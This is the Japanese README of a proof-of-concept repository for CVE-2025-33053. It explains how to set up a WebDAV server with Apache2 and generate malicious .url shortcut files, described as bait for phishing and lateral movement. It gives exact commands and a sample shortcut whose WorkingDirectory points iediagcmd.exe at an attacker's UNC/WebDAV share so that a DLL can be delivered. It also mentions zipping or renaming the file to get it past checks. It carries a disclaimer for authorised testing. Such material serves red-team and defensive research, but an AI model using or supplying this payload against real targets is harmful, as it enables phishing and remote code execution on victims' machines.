
CVE-2025-33053 概念実証(PoC)
このリポジトリは、Apache2 を使用して Ubuntu 上に WebDAV サーバーを自動的に展開し、フィッシング、レッドチーム演習、または横展開シミュレーションで使用するための悪意のある .url ショートカットファイルを生成するスクリプトを提供します。
setup_webdav.sh – Apache2 + WebDAV を設定する Bash スクリプト。setup_webdav.py – 上記の Python 版。gen_url.py – UNC/WebDAV パスを含む .url ショートカットファイルを生成する Python スクリプト。README.md – ドキュメント。sudo)sudo bash setup_webdav.sh
または Python を使用する場合:
sudo python3 setup_webdav.py
デフォルトでは、スクリプトは次のことを行います:
/var/www/webdav に共有ディレクトリを作成します。DAV および DAV_FS モジュールを有効にします。DavLockDB ディレクトリを作成します(Apache DAV のロックエラーを防ぐため)。📎 WebDAV パス:
http://<your-ip>/webdav/
.url ショートカットの生成python3 gen_url.py --ip 192.168.1.100 --out doc.url
python3 gen_url.py \
--ip 《YOUR IP ADDRESS》\
--share 《YOUR SHARE NAME》(Default: webdav) \
--out 《YOUR OUTPUT FILENAME.url》(Default: bait.url) \
--exe "C:\Program Files\Internet Explorer\iediagcmd.exe" \
--icon "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" \
--index 13 \
--modified 20F06BA06D07BD014D
これにより、次のような .url ファイルが作成されます:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\192.168.1.100\webdav\
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
📌 このファイルをクリックすると(特定の構成では)、ターゲットシステムが自動的にあなたの WebDAV サーバーに接続する可能性があります(認証または DLL の配信)。
sudo ufw allow 80
.url ファイルは、以下の条件によって期待どおりに実行されない場合があります:
.url を zip 化するか、.txt にリネームする必要がある場合があります。このリポジトリは、教育目的および許可を得たペネトレーションテストのみを対象としています。
所有していない、またはテスト許可を得ていないシステムに対して、これらのスクリプトを使用しないでください。
質問や倫理的なレッドチーム演習の依頼については、GitHub Issues までご連絡ください。